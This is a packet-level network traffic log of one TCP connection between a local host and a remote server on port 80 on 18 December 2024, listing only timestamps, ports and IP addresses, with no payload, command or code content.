Dec 18, 2024 17:08:24.643580914 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.643636942 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.778636932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.778760910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.779102087 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.779161930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.779169083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.779226065 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.780450106 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.780489922 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.780500889 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.780529976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.780533075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.780605078 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.781328917 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.781383038 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.781949997 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.781992912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.782406092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.782454967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.782776117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.782838106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.783653021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.783694983 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.784064054 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.784111977 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.784636974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.784683943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.784748077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.784799099 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.785809994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.785860062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.786111116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.786156893 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.786945105 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.786993980 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.787177086 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.787229061 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.787987947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.788038969 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.788403988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.788458109 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.789244890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.789300919 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.789364100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.789417028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.790069103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.790117979 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.790194988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.790251017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.791243076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.791290998 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.791512012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.791578054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.792299032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.792350054 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.793134928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.793200016 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.793631077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.793668032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.793679953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.793735027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.794631958 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.795142889 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.795197964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.795779943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.796010017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.796066999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.796855927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.796907902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.797940969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.797976971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.797993898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.798052073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.798126936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.798178911 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.799247980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.799300909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.799393892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.799443960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.800323009 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.800376892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.800566912 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.800620079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.801747084 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.801798105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.802953959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.802968979 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.803002119 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.803013086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.803168058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.803219080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.804234028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.804286957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.805243015 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.805279970 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.805293083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.805326939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.805424929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.805474043 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.806271076 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.806354046 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.806433916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.806483984 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.807560921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.807612896 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.807662010 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.807733059 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.808542967 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.808593988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.808705091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.808758020 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.809636116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.809711933 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.809761047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.809813976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.810591936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.810642958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.810801983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.810853958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.811583996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.811635017 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.811729908 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.811923981 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.812648058 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.812700033 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.812772989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.812824965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.813890934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.813951969 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.814038992 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.814089060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.814961910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.815015078 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.815094948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.815146923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.815865040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.815922976 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.815999031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.816051006 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.817079067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.817131042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.817150116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.817199945 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.817918062 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.817967892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.818008900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.818053007 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.818914890 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.818964958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.818984032 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.819026947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.819819927 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.819870949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.819914103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.819958925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.820847034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.820894957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.821095943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.821142912 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.821906090 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.821954966 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.822026014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.822069883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.822901011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.822952986 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.822999001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.823038101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.823936939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.823986053 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.824026108 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.824073076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.825011969 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.825063944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.825177908 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.825223923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.826100111 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.826231956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.826236963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.826277018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.827234983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.827296972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.827347040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.827398062 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.828327894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.828419924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.828464031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.828519106 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.829370975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.829509020 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.829560995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.830475092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.830595016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.830660105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.831583023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.831732988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.831798077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.833138943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.833163977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.833199024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.833237886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.834085941 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.834110975 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.834147930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.834173918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.834960938 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.835072994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.835143089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.835971117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.838243961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.971296072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.971379042 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.971420050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.971478939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.971689939 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.971846104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.971895933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.972115993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.972862959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.972970963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.973025084 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.973083973 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.973869085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.973922968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.973998070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.974056005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.975083113 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.975188017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.975256920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.976166964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.976259947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.976319075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.977581978 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.977638960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.977711916 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.977911949 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.978755951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.978857994 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.978910923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.979747057 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.979799032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.979866982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.979928970 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.981197119 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.981643915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.981712103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.982633114 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.982745886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.982805014 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.983659029 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.983720064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.983778954 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.983989000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.984813929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.984951973 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.984986067 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.985034943 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.985816956 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.985871077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.985945940 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.985990047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.986745119 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.986800909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.986860037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.986934900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.987731934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.987967014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.988029957 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.988554955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.988734007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.988800049 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.989356995 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.989414930 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.989487886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.990308046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.990365028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.990437031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.990787029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.991401911 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.991451025 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.991525888 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.991580009 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.992553949 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.992608070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.992609024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.992651939 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.993593931 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.993741035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.993819952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.994683027 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.994824886 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.994890928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.995752096 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.995807886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.995868921 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.996367931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.996825933 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.996876001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.996948004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.996995926 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.997921944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.997972012 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.998033047 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.998122931 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.999111891 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.999161005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.999185085 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.999243021 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.000143051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.000273943 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.000392914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.001279116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.001425982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.001485109 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.002393007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.002451897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.002510071 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.002563000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.003396988 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.003534079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.003607035 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.003660917 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.004532099 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.004703045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.004707098 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.004750013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.005553007 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.005640030 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.005701065 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.005872011 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.006681919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.006845951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.006910086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.007800102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.007951021 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.008011103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.008972883 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.009026051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:25.009186983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:25.009259939 CET	49771	80	192.168.2.4	31.41.244.11
